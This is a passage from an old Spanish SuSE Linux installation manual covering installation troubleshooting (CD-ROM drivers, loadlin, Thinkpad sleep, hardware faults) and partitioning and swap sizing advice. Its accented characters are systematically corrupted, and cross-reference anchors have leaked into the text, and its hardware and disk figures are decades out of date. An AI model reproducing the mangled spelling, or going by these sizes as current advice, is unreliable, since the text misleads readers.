  4467.       Ejemplo para <Parßmetro a introducir>: ide0=noautotune
  4468.       Este  parßmetro  ayuda  en  muchas  ocasiones  en  combinaci≤n  con  discos
  4469.       duros del tipo (E)IDE.
  4470.        _______________________________________________________________________________________________________________________
  4471.        ||||||||                                                                                                 ||             |
  4472.        ||||||||  En el apartado 14.3.2 en la pßgina 360Parßmetros del kernel en el Boot-                        ||             |
  4473.        ||||||||  Promptsubsection.14.3.2  se  pueden  encontrar  parßmetros  del  kernel  adi-                  ||             |
  4474.        ||||||||                                                                                                 ||             |
  4475.        ||||||||  cionales, para los problemas relacionados con hardware SCSI o con tarje-                       ||             |
  4476.        ||||||||  tas de red.                                                                                    ||             |
  4477.        ||||||||_______________________________________________________________________________________________________________||_
  4478.  
  4479. 2.7.6      Lectores CD-ROM en el puerto paralelo
  4480.  
  4481. El programa linuxrc ofrece durante la instalaci≤n todos los drivers disponibles.
  4482. Por lo general no hace falta vigilar ning·n comportamiento especial.
  4483.  
  4484. Lamentablemente existen muchos lectores que a·n no tienen soporte (p. ej.
  4485. los  de  Freecom ).   Incluso  es  posible  que  existan  lectores  que  son  iguales
  4486. seg·n sus etiquetas, pero que unos funcionan y otros no.  Aparentemente los
  4487. fabricantes han cambiado caracterφsticas internas sin notificaci≤n, usando otro
  4488. n·mero de serie. . .
  4489.  
  4490. Algunos lectores deben ser inicializados con el driver de DOS antes de ser
  4491. usados con Linux:
  4492.  
  4493.  1.   Arranque DOS y deje cargar el driver del +  CD-ROM.
  4494.  2.   Introduzca el disquete de arranque de Linux.
  4495.  3.   Efect·e un arranque en caliente.
  4496.  
  4497. Si realmente no hay soporte para el lector CD-ROM sigue siendo necesario
  4498. hacer el rodeo,  pasando por la partici≤n DOS (ver apartado 2.4 en la pßgi-
  4499. na 49Instalaci≤n sin soporte del lector CD-ROMsection.2.4).
  4500.  
  4501. Para informarse sobre el estado actual de la programaci≤n del puerto paralelo
  4502. bajo Linux, consulte http://www.torque.net/linux-pp.html.
  4503.  
  4504.  
  4505. 2.7.7      Lectores CD-ROM ''propietarios''
  4506.  
  4507. íPara los lectores CD-ROM de Mitsumi hay diferentes drivers!  Estos drivers
  4508. especiales  de  Mitsumi  estßn  destinados  concretamente  al  uso  con  lectores
  4509. ''antiguos''  que  se  conectan  a  su  propia  controladora  (p. ej.  LU-005  o  FX-
  4510. 001). íEn caso de lectores mßs recientes (como FX-400) hay que seleccionar
  4511. la opci≤n `ATAPI  EIDE'!
  4512.  
  4513. Lo mismo es vßlido para los lectores de Sony y Aztech.
  4514.  
  4515. La  ·nica  diferencia  entre  el  driver  Mitsumi  MCDX  y  el  ''normal''  es  que,
  4516. el primero es capaz de leer CDs de multisesi≤n, asφ que en realidad para la
  4517. instalaci≤n  no  importa  cußl  de  los  dos  drivers  se  usa.   No  obstante,  hemos
  4518. decidido ofrecer este driver, explφcitamente, porque podrφan existir casos en
  4519. los que uno de ellos funciona y el otro no y por lo tanto vale la pena mantener
  4520. abiertas todas las posibilidades.
  4521.  
  4522.  
  4523.  
  4524.                                                                                                                                    *
  4525.  *     65
  4526. 2.  La primera instalaci≤n_de_SuSE______Linux______________________________________________________________________________________*
  4527.  *_______________________________________@
  4528.  
  4529.  
  4530.  
  4531.                            2.7.8      Thinkpad ''se duerme'' durante la instalaci≤n
  4532.                            En cualquier momento durante el arranque se abandona el programa :-(
  4533.  
  4534.  
  4535.                            A·n no existe una soluci≤n estßndar.  Un camino factible para los modelos
  4536.                            antiguos es la instalaci≤n desde DOS, utilizando setup.exe y cargando Linux
  4537.                            con loadlin  (ver el apartado 2.5 en la pßgina 53Otra vφa de instalaci≤n:  Con
  4538.                            setup y loadlinsection.2.5).
  4539.  
  4540.                            A  lo  largo  del  tiempo  nos  han  llegado  los  siguientes  consejos;  de  hecho
  4541.                            siempre estamos interesados en sus comentarios:
  4542.  
  4543.  
  4544.                              o   Desactivar  en  la  BIOS  todas  las  caracterφsticas  de  ahorro  de  energφa;
  4545.                                  las  palabras  clave  aquφ,  son:   ''suspend  mode'',  ''power  management'',
  4546.                                  sogsleep features.
  4547.  
  4548.                              o   Arrancando desde DOS, cargar el driver CD-ROM en config.sys con la
  4549.                                  opci≤n /S (parece indicar sleep     ). Esto se hace con el siguiente comando,
  4550.                                  en el cual se colocan los correspondientes valores en <drive> y <path>.
  4551.  
  4552.                                       DEVICE  =  <drive>:\<path>\IBMTPCD.SYS  /S
  4553.  
  4554.  
  4555.                              o   Evitar accesos a la disquetera durante la instalaci≤n.
  4556.  
  4557.  
  4558.                            2.7.9      loadlin necesita mßs memoria para cargar el kernel
  4559.  
  4560.                            No  tiene  suficiente  memoria  por  debajo  de  los  640  KB.  Se  puede  intentar
  4561.                            excluir algunos drivers de los ficheros de arranque del sistema (config.sys,
  4562.                            autoexec.bat) o de cargarlos a la memoria alta.
  4563.  
  4564.                            Si  hay  unidades  comprimidas  bajo  Windows  95/98  y  la  carga  de  drivers  a
  4565.                            memoria alta no funciona, se deben descomprimir entonces las unidades que
  4566.                            lo estΘn.
  4567.  
  4568.  
  4569.                            2.7.10       loadlin no funciona
  4570.  
  4571.                            Si hay alg·n problema con loadlin , se puede usar este comando con las op-
  4572.                            ciones -v  , -t   o -d  . Lo mejor para escribir la informaci≤n del debug al fichero
  4573.                            debug.out es usar:
  4574.  
  4575.                                  C:\>  loadlin  -d  debug.out  <parßmetros  adicionales>
  4576.  
  4577.                            este  fichero  se  puede  enviar  al  soporte  de  SuSE    .     Para  <parßmetros
  4578.                            adicionales>  se  debe  introducir  algo  de  la  propia  configuraci≤n  de  sis-
  4579.                            tema  (ver  el  apartado  4.9.1  en  la  pßgina  144Ficheros  necesarios  para  load-
  4580.                            lin subsection.4.9.1).
  4581.  
  4582.  
  4583.                            2.7.11       DOS se encuentra en modo protegido
  4584.  
  4585.                            loadlin solo puede arrancar el kernel cuando la computadora funciona ya sea
  4586.                            en modo real o bien en el modo virtual del 8086 con un servidor VCPI al al-
  4587.                            cance. Si se trabaja ahora bajo Windows 95/98, se debe llevar la computadora
  4588.                            al modo MS-DOS.
  4589.  
  4590.  
  4591.                              o   Para  hacerlo,  se  debe  ir  primero  al  bot≤n  `Inicio',  `Apagar  sis-
  4592.                                  tema', `Reiniciar  equipo  en  modo  MS-DOS' o
  4593.  
  4594.  
  4595. 66
  4596.        ____________________________________________________________________________________2.7.__Descripci≤n_de_problemas__________*
  4597.  *______________________
  4598.  
  4599.  
  4600.  
  4601.   o   generar  un  enlace  con  la  interfaz  de  comandos  MS-DOS  y  modificar
  4602.       las propiedades de la siguiente manera:  en `propiedades' seleccionar
  4603.       `Avanzado' y marcar allφ `MS-DOS-Modus'.  Cuando la interfaz de co-
  4604.       mandos arranca, la computadora cambia a modo MS-DOS.
  4605.  
  4606.  
  4607. 2.7.12       Letra de unidad del lector CD-ROM
  4608.  
  4609. En caso de haber generado una partici≤n adicional en el disco duro usando
  4610. fips ,  Θsta  serφa  del  tipo  DOS,  por  lo  tanto,  se  modifican  las  subsiguientes
  4611. letras de unidad y el lector CD-ROM ya no serφa p. ej.  D:   pero tal vez E:  .
  4612.  
  4613. Esto se normalizarß despuΘs de que se cambie el tipo de partici≤n con YaST
  4614. y la letra de unidad del lector CD-ROM serß nuevamente D:  .
  4615.  
  4616. Si se presentan problemas al abrir el ''Escritorio'' o el explorador bajo Win-
  4617. dows  95/98,  Θste  a·n  intentarß  acceder  a  D:   (para  mantener  el  ejemplo).
  4618. Por  tanto,  se  debe  ajustar  la  configuraci≤n  del  sistema  modificando  las
  4619. propiedades del lector CD-ROM.
  4620.  
  4621.  
  4622. 2.7.13       Problemas generales de hardware
  4623.  
  4624. Aparece uno o varios de los siguientes fen≤menos:
  4625.  
  4626.   o   Problemas de sincronizaci≤n accediendo al lector CD-ROM (Esperas pro-
  4627.       longadas, fallos de bus, paradas, fallos de segmentaci≤n (ingl. Segmenta-
  4628.       tion faults)).
  4629.  
  4630.   o   Fallos que indica el kernel (u otros programas),  deteniΘndose con ''sig-
  4631.       nal 11'' o ''signal 7''.
  4632.  
  4633.   o   Ficheros corruptos.
  4634.  
  4635.   o   Fallo en acceso de memoria.
  4636.  
  4637.   o   Visualizaci≤n incorrecta en modo grßfico.
  4638.  
  4639.   o   Error-crc accediendo la disquetera.
  4640.  
  4641.   o   Paradas o cuelgues durante el proceso de arranque.
  4642.  
  4643.   o   Fallos creando los sistemas de ficheros (p. ej.  mke2fs da errores)
  4644.  
  4645.   o   Fallos creando el ßrea de intercambio (swap).
  4646.  
  4647.   o   Otra clase de comportamiento ''extra±o'' accediendo a alg·n componente
  4648.       del hardware.
  4649.  
  4650.  
  4651. Causas
  4652.  
  4653. Los fen≤menos extra±os mencionados arriba,  se deben muy probablemente
  4654. a  hardware  defectuoso  o  a  da±os  en  un  punto  crφtico.   Aparentemente  hay
  4655. algunas placas base con problemas de sincronizaci≤n, que se hacen notar por
  4656. errores del bus (la conexi≤n fφsica CPU-Memoria-PCI-ISA).
  4657.  
  4658. Aunque  el  hardware  trabaje  correctamente  p. ej.  con  DOS  o  con  Windows,
  4659. esto a·n no dice nada sobre su estabilidad y configuraci≤n.  Es posible que
  4660. el hardware funcione bien con el acceso de memoria lento y por segmentos
  4661. que realiza la +   CPU, trabajando en modo real de 16bit (p. ej.  bajo DOS o
  4662. Windows),  pero  que  tenga  problemas  con  accesos  lineales  en  ''Bursts''  de
  4663. 32bit (como lo realiza Linux).
  4664.  
  4665.  
  4666.                                                                                                                                    *
  4667.  *     67
  4668. 2.  La primera instalaci≤n_de_SuSE______Linux______________________________________________________________________________________*
  4669.  *_______________________________________@
  4670.  
  4671.  
  4672.  
  4673.                            Otras  fuentes  de  problemas  son  las  CPU's  mal  refrigeradas  o  m≤dulos  de
  4674.                            RAM (SIMMs) defectuosos, sensibles al calor o demasiado lentos. La CachΘ
  4675.                            de segundo nivel puede ocasionar tambiΘn estos efectos.
  4676.  
  4677.                            De  todos  modos,  el  origen  de  estos  problemas  es  el  hardware  y  no  Linux;
  4678.                            Linux solamente saca a flote los problemas del hardware.
  4679.  
  4680.                            TambiΘn es cierto que Linux exige mßs a la computadora que otros sistemas
  4681.                            operativos,  lo que por una parte aumenta las prestaciones y por otra puede
  4682.                            desencadenar  los  inconvenientes  mencionados.   Para  Linux  es  muy  impor-
  4683.                            tante encontrar una base de hardware estable, ya que en caso contrario dene-
  4684.                            garφa  (íy  con  raz≤n!)   el  servicio.   Un  sistema  operativo  que  funciona  con
  4685.                            hardware dudoso representa un problema de seguridad serio.
  4686.  
  4687.                            Consulte tambiΘn http://www.bitwizard.nl/sig11.
  4688.  
  4689.  
  4690.                            ┐QuΘ hacer entonces?
  4691.  
  4692.                            Existe  una  serie  de  parßmetros  a  repasar,  que  permiten  ~  como  mφnimo  ~
  4693.                            aislar el componente que ocasiona problemas.
  4694.  
  4695.                              o   Apagar  mediante  el  Setup  de  la  BIOS  (CMOS)  la  cachΘ  interna  y/o  la
  4696.                                  externa.
  4697.  
  4698.                              o   Reducir la frecuencia del bus (para el VLB no mßs de 40 MHz, para el
  4699.                                  PCI-bus  seg·n  la  especificaci≤n  un  mßximo  de  66  MHz  de  frecuencia
  4700.                                  externa), modificando el Setup de la BIOS o los ''jumpers'' sobre la placa
  4701.                                  base.
  4702.  
  4703.                              o   Aumentar los ''Waitsates'' del acceso de CPU a la memoria o a la cache
  4704.                                  mediante modificaciones de la BIOS.
  4705.  
  4706.                              o   Verificar si la opci≤n `15-16M  Memory  Hole' estß activa en el Setup de
  4707.                                  la BIOS; si es asφ, desactφvela! Linux no cuenta con estos ''huecos''.
  4708.  
  4709.                              o   En ''(Advanced) Chipset Setup'' configurar `CAS  before  RAS' si existe
  4710.                                  esta opci≤n en el Setup de la BIOS.
  4711.  
  4712.                              o   Comprobar los m≤dulos de memoria:
  4713.  
  4714.                                  ~   Chips  de  RAM  diferentes  (especialmente  en  un  banco  de  memoria)
  4715.                                      son posibles fuentes de error. Es mejor evitar las mezclas.
  4716.  
  4717.                                  ~   Para un PCI bus con 66 MHz, los m≤dulos de DRAM deben ser como
  4718.                                      mßximo de 60 ns (o mejor menos); no hacer ''overclocking''.
  4719.  
  4720.                                  ~   El z≤calo y la fijaci≤n de los SIMMs o DIMMs deben calzar perfec-
  4721.                                      tamente y no deben estar flojos ni mal alineados.  Si no estß seguro,
  4722.                                      saque los m≤dulos y col≤quelos de nuevo, comprobando que no haya
  4723.                                      corrosi≤n ni suciedad en los contactos.
  4724.  
  4725.                                  ~   Cambie el orden de los m≤dulos en los bancos de memoria.
  4726.  
  4727.                              o   Comprobar el funcionamiento del ventilador de la CPU y su correcta fi-
  4728.                                  jaci≤n sobre la misma; en caso de duda se puede usar pasta de conductivi-
  4729.                                  dad de calor (silicona).
  4730.  
  4731.                              o   Apagar mediante el Setup de la BIOS las funciones de ahorro de energφa
  4732.                                  (''Power-Management'' (APM)). Se trata de una fuente de error especial-
  4733.                                  mente observada en conjunto con la controladora Adaptec 2940.
  4734.  
  4735.  
  4736. 68
  4737.      ____________________________________________________________________________________2.7.__Descripci≤n_de_problemas____________*
  4738.  *____________________
  4739.  
  4740.  
  4741.  
  4742. o   Algunas  CPU's  que  no  son  Pentium  originales  de  Intel  pueden  causar
  4743.     problemas, cuando el kernel o el compilador han sido optimizados para
  4744.     Pentium (p. ej.  un AMD K6 o un Cyrix 6x86). En tal caso, optimice como
  4745.     mßximo  para  procesadores  del  tipo  486  o  incluso  solo  para  386;  como
  4746.     ·ltimo recurso use el kernel estßndar de SuSE      (ver apartado 3.7.2 en la
  4747.     pßgina 105Configuraci≤n del kernel y arranquesubsection.3.7.2).
  4748.  
  4749. o   Comprobar en el Setup de la BIOS las configuraciones generales y usar
  4750.     en caso de necesidad las configuraciones por defecto `BIOS-Defaults'.
  4751.  
  4752. o   Si  la  BIOS  es  defectuosa  el  ·nico  remedio  es  hacer  una  actualizaci≤n.
  4753.     Consulte al vendedor o al fabricante de la placa base.
  4754.  
  4755. o   La fuente de alimentaci≤n no tiene suficiente potencia o el voltaje oscila;
  4756.     pruebe de apagar o desconectar algunos dispositivos.
  4757.  
  4758. o   No  usar  ''Busmaster-DMA'',  denominado  tambiΘn  ''UDMA''  o  ''Ultra-
  4759.     DMA''. Mantenga los cables-EIDE cortos y adquiera unos de buena cali-
  4760.     dad.
  4761.                                                                                                                                    *
  4762.  *   69
  4763. 2.  La primera instalaci≤n_de_SuSE______Linux______________________________________________________________________________________*
  4764.  *_______________________________________@
  4765.  
  4766.  
  4767.  
  4768.                            2.8       Particionar para principiantes
  4769.  
  4770.                            A los principiantes en el uso de Linux y del sistema de ficheros, se les podrφa
  4771.                            presentar las siguientes preguntas:  ┐Cußnto espacio hay que proporcionar a
  4772.                            Linux?   ┐Cußl  es  el  mφnimo?   ┐Cußnto  deberφa  ser?   ┐Cußl  es  la  cantidad
  4773.                            razonable? ┐C≤mo particionar el espacio?
  4774.  
  4775.  
  4776.                            Tipos de partici≤n en el PC
  4777.  
  4778.                            Cada  disco  duro  contiene  una  tabla  de  particiones  con  espacio  para  cuatro
  4779.                            entradas, de las cuales solo una puede ser una partici≤n extendida y el resto
  4780.                            primarias o todas podrφan ser primarias.
  4781.  
  4782.                            La esencia de las particiones primarias es relativamente simple pues se trata
  4783.                            de  una  zona  continua  de  cilindros,  que  estß  asignada  a  un  sistema  operati-
  4784.                            vo.  Con particiones primarias, solamente se puede establecer un mßximo de
  4785.                            cuatro; no caben mßs en la tabla de particiones.
  4786.  
  4787.                            Aquφ comienza el concepto de la partici≤n extendida, la que tambiΘn se repre-
  4788.                            senta como una zona continua de cilindros. Sin embargo, es posible dividir la
  4789.                            partici≤n extendida en particiones l≤gicas, que no necesitan una entrada en la
  4790.                            tabla de particiones. Se puede decir que se trata de una especie de contenedor
  4791.                            para las particiones l≤gicas.
  4792.  
  4793.                            Si se necesitan mßs de cuatro particiones es necesario definir la cuarta como
  4794.                            partici≤n  extendida  y  asignar  a  ella  todos  los  cilindros  libres.   En  esta  se
  4795.                            pueden generar entonces casi tantas particiones como se desee (el mßximo
  4796.                            se sit·a en 15 para discos SCSI y en 63 para discos (E)IDE).
  4797.  
  4798.                            A  Linux  no  le  importa  en  cußl  tipo  de  partici≤n  (primaria  o  l≤gica)  estß
  4799.                            instalado.
  4800.  
  4801.  
  4802.                            Decidirse. . .
  4803.  
  4804.                            Comenzamos con lo realmente importante: 180 MB, pero hablando de un uso
  4805.                            especial de la computadora, trabajando solamente en la consola sin sistema X
  4806.                            Window. Con la idea de usar X y algunas pocas aplicaciones hay que calcular
  4807.                            con 500 MB; ambos casos incluyen la zona de intercambio (swap).
  4808.  
  4809.                            ┐Cußnto  deberφa  ser?   Alrededor  de  1  GB.  En  el  mundo  de  los  discos  de
  4810.                            gigabytes no es pedir demasiado.  Esta cantidad incluirφa el espacio de swap
  4811.                            pero sin lφmite superior.
  4812.  
  4813.                            ┐QuΘ cantidad tiene sentido? Depende de lo que se quiera:
  4814.  
  4815.                              o   Trabajar  bajo  X  Windows  con  aplicaciones  modernas  como  KDE ,  Ap-
  4816.                                  plixware  y Netscape necesita 1,2 GB.
  4817.  
  4818.                              o   Desarrollar  con  Linux  peque±as  aplicaciones  en  el  entorno  del  sistema
  4819.                                  X Window tambiΘn requiere aprox. 1,2 GB.
  4820.  
  4821.                              o   Las dos modalidades anteriores: 2,0 GB
  4822.  
  4823.                              o   Compilar servidores X propios, grabar CDs propios y lo anterior: 4 GB.
  4824.  
  4825.                              o   Accionar un servidor FTP o de Internet: 700 MB sistema base + infinito.
  4826.  
  4827.                                  ┐C≤mo particionar el espacio? Esta es una pregunta sencilla cuya respues-
  4828.                                  ta no lo es.
  4829.  
  4830.  
  4831. 70
  4832.        __________________________________________________________________________________2.9.__Particionar_para_avanzados__________*
  4833.  *______________________
  4834.  
  4835.        _______________________________________________________________________________________________________________________||
  4836.  
  4837.        ||||||||  Con la robustez que ha alcanzado el sistema de ficheros Linux, no es mala                      |||            |
  4838.        ||||||||| idea  ~  especialmente  para  principiantes  ~  seguir  la  estrategia  de  YaST :             ||             ||
  4839.  
  4840.        ||||||||  Prepare una partici≤n peque±a al comienzo del disco para /boot (como                           |||            |
  4841.        ||||||||  mφnimo 2 MB, en caso de discos grandes 1 cilindro), una partici≤n para la                      ||             |
  4842.        ||||||||                                                                                                 ||             |
  4843.        ||||||||  zona de intercambio (Swap) de 64 a 128 MB y el resto para /.                                   ||             |
  4844.        ||||||||_______________________________________________________________________________________________________________||_
  4845.  
  4846.       Si se desea hacer algunas particiones pero no muchas, funciona lo sigu-
  4847.       iente:
  4848.  
  4849.   o   Hasta cerca de 500 MB: Una partici≤n swap y una partici≤n de root (/).
  4850.  
  4851.   o   De  500  MB  hasta  2  GB:  Una  partici≤n  peque±a  para  el  kernel  y  para
  4852.       LILO  al comienzo del disco duro (/boot) con cerca de 5-10 MB o bien
  4853.       un cilindro; la partici≤n swap y el resto para la partici≤n de root (/).
  4854.  
  4855.   o   A partir de 2 GB: Boot (/boot, swap, root (250 MB)), home (/home con
  4856.       cerca de 100 MB) y el resto para programas (/usr); tambiΘn podrφa ser
  4857.       una partici≤n para /opt (ver en esta pßgina).
  4858.        _______________________________________________________________________________________________________________________|||
  4859.        ||||||||                                                                                                 ||             |
  4860.        ||||||||  Para arrancar Linux directamente desde el disco duro, se necesita entonces                     ||             |
  4861.        ||||||||  una partici≤n Linux por debajo del ''lφmite de 1024 cilindros'' como par-                      ||             |
  4862.        ||||||||                                                                                                 ||             |
  4863.        ||||||||  tici≤n de arranque (al respecto, leer en la pßgina 123┐D≤nde se puede in-                      ||             |
  4864.        ||||||||  stalar LILO ?Hfootnote.17 y el en la pßgina ????????).  Este tema no tiene                     ||             |
  4865.        ||||||||                                                                                                 ||             |
  4866.        ||||||||  importancia si se arranca Linux desde DOS/Windows con loadlin .  Desde                         ||             |
  4867.        ||||||||  la versi≤n 6.0 de SuSE     Linux, la partici≤n de arranque es generalmente la                  ||             |
  4868.        ||||||||                                                                                                 ||             |
  4869.        ||||||||  partici≤n ''boot'' (/boot).                                                                    ||             |
  4870.        ||||||||_______________________________________________________________________________________________________________||_
  4871.  
  4872. Se debe tener en cuenta que algunos programas ~ generalmente comerciales
  4873. ~ instalan sus datos bajo /opt, asφ que es conveniente generar una partici≤n
  4874. propia para /opt o bien hacer la partici≤n root mßs grande.  En particular se
  4875. trata de los paquetes y demostraciones listados en la tabla 2.1 en la pßgina
  4876. siguiente.  El requerimiento de espacio indicado en la tabla es algo superior
  4877. que el real.  TambiΘn se indican programas que no se distribuyen con SuSE
  4878. Linux.
  4879.  
  4880.  
  4881.  
  4882. 2.9       Particionar para avanzados
  4883.  
  4884.  
  4885. En  el  apartado  2.8  en  la  pßgina  anterior  tal  como  en  el  apartado  2.10.1  en
  4886. la pßgina 77Establecer particionessubsection.2.10.1, se ha comentado breve-
  4887. mente  sobre  c≤mo  particionar  el  sistema.  El  presente  apartado  quiere  pro-
  4888. porcionar  informaci≤n  detallada  con  la  cual  se  pueda  crear  un  esquema  de
  4889. partici≤n optimizado para el sistema.  Es ademßs especialmente interesante
  4890. para aquellos que quieran configurar el sistema de manera ≤ptima, respecto a
  4891. seguridad y velocidad y que estßn ~ seg·n las circunstancias ~ dispuestos a
  4892. crear todo desde cero. íArrasar con todo, esa es la idea!
  4893.  
  4894. Es  fundamental  entender  el  modo  de  funcionar  de  un  sistema  de  ficheros
  4895. UNIX. En particular, los conceptos del punto de montaje (+  Mountpoint) tal
  4896. como los de las particiones l≤gicas y extendidas, se deben haber entendido.
  4897.  
  4898. Al principio es importante destacar que no existe un solo camino ≤ptimo para
  4899. todos  pero  que  sφ  existen  muchos  caminos  buenos  para  cada  uno.   No  hay
  4900.  
  4901.  
  4902.                                                                                                                                    *
  4903.  *     71
  4904. 2.  La primera instalaci≤n_de_SuSE______Linux______________________________________________________________________________________*
  4905.  *_______________________________________@
  4906.  
  4907.                            ________________________________________________________________________________________________________*
  4908.  *________
  4909.  
  4910.  
  4911.                                            KDE                                                               170 MB
  4912.                                            GNOME                                                             100 MB
  4913.                                            htdig                                                                 5 MB
  4914.                                            Fortify                                                               2 MB
  4915.                                            dochost  con text-b·squeda htdig                                  200 MB
  4916.                                            Wabi                                                                10 MB
  4917.                                            Netscape                                                            35 MB
  4918.                                            Arcad                                                             350 MB
  4919.                                            Applixware                                                        400 MB
  4920.                                            Eagle                                                               18 MB
  4921.                                            StarOffice                                                        150 MB
  4922.                                            Cyberscheduler Software                                             30 MB
  4923.                                            Cygnus Source-Navigator                                             20 MB
  4924.                                            SNiFF+                                                              45 MB
  4925.                                            Insure++                                                            45 MB
  4926.                                            pep                                                                 18 MB
  4927.                                            Oracle 8                                                          400 MB
  4928.                                            Sybase ~ Adaptive Server Enterprise                               170 MB
  4929.                            ________________virtuoso_~_OpenLink_Virtuoso_Lite_Edition___________________________55_MB_______________*
  4930.  *________
  4931.  
  4932.                            Tabla 2.1:  Ejemplos de paquetes bajo /opt     ~ no todos estos se suministran
  4933.                            con SuSE     Linux.
  4934.  
  4935.  
  4936.  
  4937.                            de quΘ preocuparse,  ya que tambiΘn habrß reglas y cifras concretas en este
  4938.                            apartado.
  4939.  
  4940.                            Como primer paso, se debe reunir la siguiente informaci≤n:
  4941.  
  4942.                              o   ┐Para  quΘ  usarß  su  mßquina  (servidor  de  ficheros,  Compute-  Server,
  4943.                                  estaci≤n de trabajo)?
  4944.  
  4945.                              o   ┐Cußntas  personas  trabajarßn  en  la  computadora  (contado  en  logins  si-
  4946.                                  multßneos)?
  4947.  
  4948.                              o   ┐Cußntos discos duros tiene la computadora,  cußl tama±o tienen y cußl
  4949.                                  interfaz (EIDE, SCSI o incluso una controladora RAID)?
  4950.  
  4951.  
  4952.                            2.9.1      El tama±o de la partici≤n de intercambio (swap)
  4953.  
  4954.                            Todavφa se puede leer en muchas partes:  ''La cantidad de +   Swap debe ser
  4955.                            como mφnimo el doble de la de RAM''. Esta regla pertenece al tiempo en el
  4956.                            cual 8 MB de RAM era suficiente. Estos tiempos han pasado. La persona que
  4957.                            compra hoy en dφa una computadora con menos de 32 MB ha sido muy mal
  4958.                            aconsejada.  Volviendo a la regla anterior:  El fin era conseguir una computa-
  4959.                            dora con cerca de 30 a 40 MB de +  Memoria virtual.
  4960.  
  4961.                            Con  las  aplicaciones  modernas,  hambrientas  de  memoria,  hay  que  corregir
  4962.                            estos valores hacia arriba.  Normalmente 64 MB de memoria virtual es su-
  4963.                            ficiente,  pero  es  mejor  no  ser  taca±o  con  ello.  Compilando  el  kernel  en  el
  4964.                            entorno X-Window y mirando las pßginas de ayuda con Netscape  mientras
  4965.                            que en alg·n lugar se ejecuta Emacs , entonces con 64 MB de memoria virtu-
  4966.                            al se estß sin muchas reservas.
  4967.  
  4968.  
  4969. 72
  4970.        __________________________________________________________________________________2.9.__Particionar_para_avanzados__________*
  4971.  *______________________
  4972.  
  4973.  
  4974.  
  4975. Esto  significa  que  el  usuario  normal  se  encuentra  en  el  lado  seguro  con
  4976. 128 MB de memoria virtual.  Lo que no se deberφa hacer,  bajo ning·n pre-
  4977. texto, es no proporcionar ning·n tipo de memoria swap. Incluso una mßquina
  4978. con  256  MB  RAM  deberφa  tener  una  zona  de  swap.  La  raz≤n  para  ello  se
  4979. detalla en el apartado 2.9.3 en la pßgina 76Tasa de transferencia a discos y
  4980. tama±o de memoriaItem.53.
  4981.  
  4982. TambiΘn es posible que se ejecuten simulaciones con gasto de memoria del
  4983. orden de gigabytes.  Si existen dudas acerca de si Linux puede soportar o no
  4984. semejante carga, se aconseja leer el apartado 2.9.2 en la pßgina siguiente (tipo
  4985. de uso: Compute-Server).
  4986.  
  4987.  
  4988.  
  4989. 2.9.2      Formas de uso de la computadora
  4990.  
  4991.  
  4992. Como estaci≤n de trabajo:
  4993.  
  4994. Este  es  el  tipo  de  uso  mßs  frecuente  de  una  computadora  con  Linux.  Para
  4995. poder orientarse con valores concretos, hemos compilado un par de configu-
  4996. raciones de ejemplo, que pueden ser usadas seg·n necesidad, en la casa o en
  4997. la empresa.  Los espacios requeridos para un determinado tipo de instalaci≤n
  4998. se encuentran en la tabla 2.2
  4999.  
  5000.        _______________________________________________________________________________________________________________________
  5001.  
  5002.  
  5003.    Instalaci≤n__________Espacio_necesario_en_disco__________________________________________________________________________
  5004.    mφnimo               180 MB hasta 400 MB
  5005.    peque±o              400 MB hasta 800 MB
  5006.    mediano              800 MB hasta 4 GB
  5007.    grande               4 GB hasta 8 GB
  5008.  
  5009.        _______________________________________________________________________________________________________________________
  5010.  
  5011.                       Tabla 2.2: Ejemplos de tama±os de instalaci≤n
  5012.  
  5013.  
  5014. Naturalmente  estos  valores  suben  si  se  quiere  guardar  ficheros  adicionales,
  5015. aparte de los propios del sistema.
  5016.  
  5017.  
  5018.  
  5019. Estaci≤n de trabajo estßndar (muy peque±a)
  5020.  
  5021. Le sobra un disco duro de alrededor de 500 MB y lo quiere usar para Linux.
  5022. En este caso genere una partici≤n de swap de 64 MB y reserve el resto para
  5023. la partici≤n root /.
  5024.  
  5025.  
  5026.  
  5027. Estaci≤n de trabajo estßndar (promedio)
  5028.  
  5029. Le quedan 1,2 GB libres para Linux.  Genere una partici≤n de arranque pe-
  5030. que±a /boot (5-10 MB o un cilindro), 180 MB para /, 64 MB para el swap,
  5031. 100 MB para /home y el resto para /usr; no olvide la zona para /opt (ver el
  5032. apartado 2.8 en la pßgina 71Decidirse. . . section.2.8).  Para la determinaci≤n
  5033. del tama±o de la partici≤n root, vigile el hecho de que el banco de datos RPM
  5034. se coloca en /var!
  5035.  
  5036.  
  5037.                                                                                                                                    *
  5038.  *     73
  5039. 2.  La primera instalaci≤n_de_SuSE______Linux______________________________________________________________________________________*
  5040.  *_______________________________________@
  5041.  
  5042.  
  5043.  
  5044.                            Estaci≤n de trabajo (lujo)
  5045.  
  5046.                            Si tiene 1,2 GB o incluso mßs en varios discos, entonces no existe ninguna
  5047.                            forma global de particionar. A este respecto consulte apartado 2.9.3.
  5048.  
  5049.  
  5050.  
  5051.                            Como servidor de ficheros:
  5052.  
  5053.  
  5054.                            Aquφ  todo  depende  realmente  de  las  prestaciones  del  disco  duro.   En  todo
  5055.                            caso, son preferibles los discos duros tipo SCSI. TambiΘn vale la pena tener
  5056.                            en cuenta la potencia del disco (SCSI, SCSI Ultra Wide, revoluciones, etc.) y
  5057.                            de la controladora.
  5058.  
  5059.                            Un  servidor  de  ficheros  ofrece  la  posibilidad  de  almacenar  datos  de  man-
  5060.                            era centralizada.  Se puede tratar de +  Directorio de usuario (directorios de
  5061.                            usuario),  de  un  banco  de  datos  o  de  otros  ficheros  diversos.   La  ventaja  es
  5062.                            bßsicamente una administraci≤n simplificada.
  5063.  
  5064.                            Si el servidor de ficheros debe trabajar en una red amplia (a partir de 20 usuar-
  5065.                            ios) la optimizaci≤n del acceso al disco es esencial.
  5066.  
  5067.                            Supongamos que se quiere construir un servidor de ficheros a base de Linux
  5068.                            para servir con los directorios personales a 25 usuarios.  Se calcula que cada
  5069.                            usuario ocuparß un mßximo de 80 MB para sus datos personales.  Un disco
  5070.                            duro de 2 GB para montar /home es suficiente, suponiendo que los usuarios
  5071.                            no siempre compilan en su +  Directorio personal (home).
  5072.  
  5073.                            Con  50  usuarios,  el  simple  cßlculo  indica  que  es  suficiente  con  4  GB.  En
  5074.                            realidad resulta mejor montar /home en dos discos de 2 GB, porque estos se
  5075.                            distribuyen entre sφ la carga y el tiempo de acceso.
  5076.  
  5077.  
  5078.  
  5079.                            Uso como Servidor:
  5080.  
  5081.  
  5082.                            Un Servidor (Compute-Server) es generalmente una computadora potente que
  5083.                            se encarga de tareas de cßlculo grandes en una red. Tφpicamente una mßquina
